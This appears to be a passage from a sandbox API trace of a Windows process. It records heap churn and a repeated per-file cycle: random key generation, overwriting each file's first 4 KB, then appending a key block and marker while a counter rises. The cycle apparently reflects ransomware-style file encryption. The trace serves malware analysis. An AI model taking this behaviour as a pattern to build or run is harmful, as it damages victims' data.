[0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.346] GetProcessHeap () returned 0x540000 [0088.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.347] GetProcessHeap () returned 0x540000 [0088.347] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.348] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.348] WriteFile (in: hFile=0x9b4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.348] WriteFile (in: hFile=0x9b4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.348] GetProcessHeap () returned 0x540000 [0088.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.348] CloseHandle (hObject=0x9b4) returned 1 [0088.350] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 143 [0088.350] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.350] ReadFile (in: hFile=0x9b8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.350] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.350] GetProcessHeap () returned 0x540000 [0088.350] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.350] GetProcessHeap () returned 0x540000 [0088.350] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.350] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.350] GetProcessHeap () returned 0x540000 [0088.350] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.350] ReadFile (in: hFile=0x9b8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.398] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.398] WriteFile (in: hFile=0x9b8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.399] GetProcessHeap () returned 0x540000 [0088.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.399] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.400] GetProcessHeap () returned 0x540000 [0088.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.401] GetProcessHeap () returned 0x540000 [0088.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.401] GetProcessHeap () returned 0x540000 [0088.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.401] GetProcessHeap () returned 0x540000 [0088.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.401] GetProcessHeap () returned 0x540000 [0088.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.401] GetProcessHeap () returned 0x540000 [0088.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.402] GetProcessHeap () returned 0x540000 [0088.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.403] GetProcessHeap () returned 0x540000 [0088.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.403] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.404] GetProcessHeap () returned 0x540000 [0088.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.404] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.405] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.405] WriteFile (in: hFile=0x9b8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.405] WriteFile (in: hFile=0x9b8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.405] GetProcessHeap () returned 0x540000 [0088.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.405] CloseHandle (hObject=0x9b8) returned 1 [0088.406] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 144 [0088.407] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.407] ReadFile (in: hFile=0x9bc, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.407] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.407] GetProcessHeap () returned 0x540000 [0088.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.407] GetProcessHeap () returned 0x540000 [0088.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.407] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.407] GetProcessHeap () returned 0x540000 [0088.407] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.407] ReadFile (in: hFile=0x9bc, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.456] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.456] WriteFile (in: hFile=0x9bc, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.456] GetProcessHeap () returned 0x540000 [0088.456] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.456] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.457] GetProcessHeap () returned 0x540000 [0088.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.457] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.458] GetProcessHeap () returned 